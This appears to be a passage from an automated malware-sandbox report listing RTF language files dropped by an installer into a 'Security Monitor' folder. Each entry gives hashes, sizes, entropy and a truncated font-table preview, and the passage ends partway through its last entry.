Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-3C8V3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56628
Entropy (8bit):	5.001958639036602
Encrypted:	false
SSDEEP:	768:pqFk5evUwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZ+GjaorHye0HmuwB:pqnVUne8GjaUECaIA9o
MD5:	BA9CD5C6FBC3F41BA7B21B842B211D29
SHA1:	337DF42901DA8E9855D59333E4357BB3CF9953E2
SHA-256:	CD14DD162DFBA323EB79D496DB0E9D053B9D21A8AB7E300232074458A91F62E4
SHA-512:	D6A9DC42E548806E469BA0B15C40E886BE92EBBE247116FEE9E15EA83D6B3A8B19C42DF639405DBCB70B3E6859E243406CA24BBAEEAA57E95CCE26128D04ECD7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-3OMSH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	51302
Entropy (8bit):	5.092103345877651
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrmQBkyKWm+eCk4O6Cg2NjrOX/zJ0PfOyGlgOYBJiDBNBiOl/Vq/M:ssZdBa4zS
MD5:	E5A9141385B035A9DA437DD1F1083F69
SHA1:	A6959E190DCDAD51B46960285E8EFBE532648E7A
SHA-256:	F5F01449E3735132C0A835E6F6A6E9810BF63592073AD66273F6DFEAE36EB41A
SHA-512:	A7B6E252D2B28977A1C1699582BC66B40D99D4B18F47CA78BAFF8D5D0EED592FF6FD9E98E3C10658823A586244CA08A8EDD8A8B1B9B391881C7794E1F0C5EED6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-83836.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53852
Entropy (8bit):	5.077126010099254
Encrypted:	false
SSDEEP:	768:s8SJmeIQTmoQBkyKWm+mqBjLW5qoISN4UIRop1BBAvqJ6Hcrfvw4QJuyHKj3z2yw:s8Urw4zS
MD5:	23DB4F7C5A211C876D606B792A96769E
SHA1:	5747AB46CEB3A87BD87CCB5723BF07E0CFBAA73B
SHA-256:	6229BB6489019CA563DBF8F11CF135C4604A22014337F3AC3FF4E39FC3624E88
SHA-512:	BFF0AAFAF0C676EB9CA6DCF5278E4796DF778943493826C8B3FE8475125C9ADDC4F5763BC64F12B62398C1B77343669BB518FD0A864E83A80CC9F3AACE519A0A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-8R2OU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34167
Entropy (8bit):	5.060082647909622
Encrypted:	false
SSDEEP:	384:p4ew9g0BnPz+p/zWFU48XTKjH2njzr8x3e9kl6YpXNEnysJQezqCdPcedBKfieoE:p4e548XTKT2njX8x3UW7U7vhezZ/6A9P
MD5:	67CFAF3E0373E3678B93AFE97714C9CC
SHA1:	67D9665DEC3734F04E4FE7F893FE12CF008769FD
SHA-256:	E47932F8DAD868BDFA11A27D4E6B6F5520D99C33FB574BB74D1FA4ED37DE33DB
SHA-512:	651811F016A6081D2913336BA4E1B7562DC3A65F7727005B25BC5F0B86C7AF97098C5AEC40FD42CEE43433B4F0036C64479A12C47D5A0A32ED42B656DE6ECDD2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-C01RU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.088144154341775
Encrypted:	false
SSDEEP:	768:ssSn8tDcYXyC+R+8tDcpzyA/mwMWGwI+X0IjuqhR2X4PUPgb5o69HPriWEudPiaR:sswX64zI
MD5:	23F3B31CDFBD1A8A1695D3D7E4EF9B36
SHA1:	A1B344F97F06F83DD818A51338B965793167F826
SHA-256:	6774CCE8D38C1CE308190456560DDDC892BB4845220D08622C7D89BA79A148CB
SHA-512:	145B093694165C40D4B951A2193BC573E57538D0EC6252A1C659B5258ACC327573803C31BC184196B5C0AEF372157878FFF76E7250BB2B4211BCA04A0488B3C8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-C89EE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	47686
Entropy (8bit):	5.09343273407686
Encrypted:	false
SSDEEP:	768:ssS88UAauxWSlSQ4KxTmlbyGwI+X0Ij+SN4UIRopfviHmdW0isCE35OAnelmHj/F:ss9Hq5F4zY
MD5:	D883A50756AA633B20915B68BDCE5213
SHA1:	B2B99E912B3F0D3E0DF2C90B71DE5C3316745E67
SHA-256:	E41BEF0E6F6FCAB4CC5749CC8066F4AE4EA50F19C518B644B86034BC0885CB32
SHA-512:	670BA488A0DEFF9B037CCCB22912798487F5FC02AFB84E9DF41E2D1DB98E39CF7BC608131B6D38DDAD8250E96F7A9900CCCFBEDA80512BBCBED055788DE8D72C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-COP25.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	79588
Entropy (8bit):	4.979859328003009
Encrypted:	false
SSDEEP:	768:p4eOev/+zl3C79k8thfqXMwANr1DZoLLXI1nHT2njX8x3Gj5g5V5V5h5G5P5N59h:p4+w60IA99
MD5:	BFC11879D9DE972A3AE377B204D09593
SHA1:	7B79C412A2AE5D21CCA333CC2F96B70DD7E1C3DE
SHA-256:	DA65EA1EAC2D7DFC5F8EA31CF07A34ECD9054B5BBE31AA7651DAB81518E67324
SHA-512:	81F878B172CC528E2ACE51BE1DE4D27B248EE8B2E5FB3C7A0B5D6A51CC5A4024B7255975F8A98F85E7BC79C16F059DC1958CDC0DDFC07CF9DA1B0926B21D0A49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-DRVA7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40943
Entropy (8bit):	5.062621250408577
Encrypted:	false
SSDEEP:	768:pqeS48Um0GhbtabQhOsWx/LCrLXI1n8T2njX8x3Ftt4MfRMIq818Z/6A9i:pqKH+qIA9i
MD5:	E2D6C3DBD79C905DABE49F310F9A134E
SHA1:	072CB75BBAD6904B39757E423EEDA0F3CA9FA8D7
SHA-256:	0A9C5D645D90A6D3CA88495DE5D0410CE8456C6AF5C0D56E4F225B81CECC0069
SHA-512:	EEC29BB5020AE654E7A0DB369722B1AD8286D97288C40E009B26AD20A2A9CD661B5AE9CCFFF7629B378EFC98AFA505F933F36C2AF0A49E7C7FD35D3925B0BF42
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-FQ6TU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	48225
Entropy (8bit):	5.096715936522922
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrfVY9RtmIiRAN4UIRopxdRNudR5crHZi2drk7Y9mrjbmPObWPq6S:ssmpH84z8
MD5:	2598048BFC64A464E54D6B415A7303E7
SHA1:	6FD99F1B7BB146904F310EAA185C9BEF7794DB69
SHA-256:	70C7A754C1EABFA6640D343B1CCF2F773DED987C88AC8F90331AC7DBD1B308AD
SHA-512:	D50B166D6FD03868343EB90C549A7D0D6E6E72AB3A8C73A48E7FCB80AC17BD595BE237C7AEFEE47E1AE9BA80FA5C2DA9800F9A4562E7D99E7006EC89C626A2F7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-I58FN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43013
Entropy (8bit):	5.090193363439038
Encrypted:	false
SSDEEP:	768:s8SX8t+yiBkyKWm+yqBjLW5qoFxbyl2Zweq4zX:s8cf4zX
MD5:	2519F9520A2AB950F74212172A0BEB94
SHA1:	BA0E1A1C41C867840AE63A677B053DA1118F886B
SHA-256:	E1A9AD7ADB8F8E6969D8F8522118371971B6FE01CD6248819CEBEDBF2EAE9CB6
SHA-512:	AA64B50E2570FFC247DB4D7D182F56A3C0010247AAC51D030AB554DA1A1B4D465CCEA6C50389610864E4B89E4381F575672D0A53018CE18483FAD26B021C1ECE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-LD8T8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	50648
Entropy (8bit):	5.076966621667136
Encrypted:	false
SSDEEP:	768:s8SW8t+CiBkyKWm+YqBjLW5qoqKZmbOTJbwQzgJetfBq4z+:s8f8Q4z+
MD5:	927893BFF8C06F090F00A06389C24A42
SHA1:	EADC77D6AAADC171CBF54B81A41930912803AAA0
SHA-256:	37E18C594AA49F95B3CB800A7425EB6AD57FF8BAA97A523F971F8B9F77FC5F70
SHA-512:	1DA7CA2795A54523DE39475A40832088924BFC49DD194A25E202C38D84F9A77389DEC2E612667C0D036ED911F3136D2D23D52AA43C6251D712E43C470E1031C7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-OHTH3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54763
Entropy (8bit):	5.086159865228289
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrIQBkyKWm+2Ck4O6CFURooIniyl+n6S8aG+8Iu/wj5XvSTp5kiWz:ssZVpy4zU
MD5:	FE0FD5197CD49B1818CD102069665E64
SHA1:	313F0DF1F4B687043DAED9B1BB783BA36F8F1BC4
SHA-256:	787E3B3DBC3E1DE91DD2C786085ED70616AF51B843C56B88541B40601390E055
SHA-512:	B24055EE351C5973DF4C42D678A59F84EE4F7447AEDA49581413E97CBA59C0DF1F2E5712BC31C2F94FA399214208BBB9F1C6AE3EA6BB439728D1C5C5D156F96F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-QNI7K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53088
Entropy (8bit):	5.091636989377984
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrXWeKyggjmvOnaCwL9W1bd5JIyyFXMjjv0dp+ILGmx5BfQNCrli8:ssm1Gg4zO
MD5:	505DFAF995C4EA7441C48E99C6400772
SHA1:	26C112D3664663D7B9618D11D9BF7C893DAD3A1A
SHA-256:	6D87327F851810F5CC1844EC1A39ACC0390EFB02284094EC53AF1CD4CE8CA3B2
SHA-512:	2F190B4882D740DB06E90532905A6A0EEBC73AC06D581FE993254C0E23A46E7DAAD5F63D0FF643F258D5603B6E866D8AC2447F336F109116777AB49FD824D356
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-S0RFR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	67825
Entropy (8bit):	4.9803843553687
Encrypted:	false
SSDEEP:	768:pqeP2iXwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZTTHPmpncTUAF7s8a:pqL5UneNTHP3TIA9i
MD5:	C84BB8D1E95FF5ED4B74B8F938B7C26F
